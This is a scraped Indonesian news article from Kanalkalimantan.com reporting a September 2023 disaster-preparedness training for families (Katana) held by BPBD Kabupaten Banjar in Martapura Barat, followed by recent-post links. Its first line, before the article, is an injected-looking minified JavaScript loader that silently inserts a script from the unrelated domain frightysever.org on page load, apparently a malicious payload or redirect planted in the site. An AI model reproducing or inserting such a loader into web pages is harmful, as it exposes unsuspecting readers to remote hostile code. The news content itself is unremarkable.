(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

BPBD Banjar Pelatihan Katana di Martapura Barat


KANALKALIMANTAN.COM, MARTAPURA – Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar melaksanakan pelatihan Keluarga Tanggap Tangguh Bencana (Katana).

Pelatihan berlangsung di aula kantor Kecamatan Martapura Barat, jalan Martapura Lama Km 23 Sungai Rangas Tengah, Kabupaten Banjar, Kalimantan Selatan.

Melibatkan seluruh kepala desa, pelatihan Katana sebagai langkah awal untuk meningkatkan kapasitas dan ketangguhan keluarga dalam penanggulangan bencana alam di wilayah Martapura Barat.

Baca juga: 19 Aset Sindikat Narkoba Internasional Fredy Pratama Disita di Banjarmasin

Kegiatan pelatihan ini dihadiri oleh 37 peserta pelatihan dari beberapa Tim Penggerak PKK se Kecamatan Martapura Barat, Selasa (12/9/2023) siang.

“Senang adanya elatihan ini menambah pemahaman dan ilmu kita tentang tanggap bencana menghadapi kondisi bencana di sekitar,” ujar Zulkifli (57), salah satu perangkat Desa Sungai Batang.

“Kami diberipelajaran bagaimana menghadapi dan menyikapi tanggap bencana seperti banjir dan kebakaran,” ujar Nor Diana Dina yang ikut sebagai peserta dari Desa Sungai Batang.

Baca juga: Saidi Mansyur Ikuti Panen Raya dan Tutup Kegiatan Sekolah Lapang di Melayu Tengah

BPBD Kabupaten Banjar, Rony mengatakan kegiatan pelatihan Keluarga Tanggap, Tangguh Bencana karena keluarga merupakan ujung tombak pertama yang dimana dia tahu sendiri rumah tangganya itu bagaimana. “Ketika gangguan ada bencana, bencana berupa gangguan, dia sudah bisa antisipasi yang terkait di daerah Kabupaten Banjar yang sering terjadi yaitu banjir, kebakaran lahan, angin puting beliung,” ujarnya.

“Hal-hal itu yang diketahui, apa sih ketika banjir apa yang harus dipersiapkan, karena ini antisipasi awal. Sebenarnya kalau yang utamanya dalah diri kita sendiri, baru kepada keluarga, nah itu yang ditularkan dalam pelatihan ini. Sasarannya yaitu keluarga. Jadi dia tanggap lah dari bencana tersebut. Sedini mungkin dari keluarga itu, jadi kumpulan keluarga itu sudah tau dia oh ini memasuki musim hujan, banjir apa yang harus dipersiapkan,” jelas Rony, personel BPBD Banjar kepada Kanalkalimantan.com.

Baca juga: Atraksi Tarian Api Suku Dayak Meratus di Murdjani

Sasaran pertama BPBD Banjar adalah menciptakan Keluarga Tanggap Tangguh Bencana (Katana), Desa Tangguh Bencana (Destana), Kecamatan Tangguh Bencana (Kencana), Kabupaten Tangguh Bencana,
“Sebenarnya tidak harus di Kecamatan Martapura Barat, semua bisa yang terpenting daerahnya itu merupakan daerah rawan bencana jadi sasarannya itu keluarga,” pungkasnya (Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.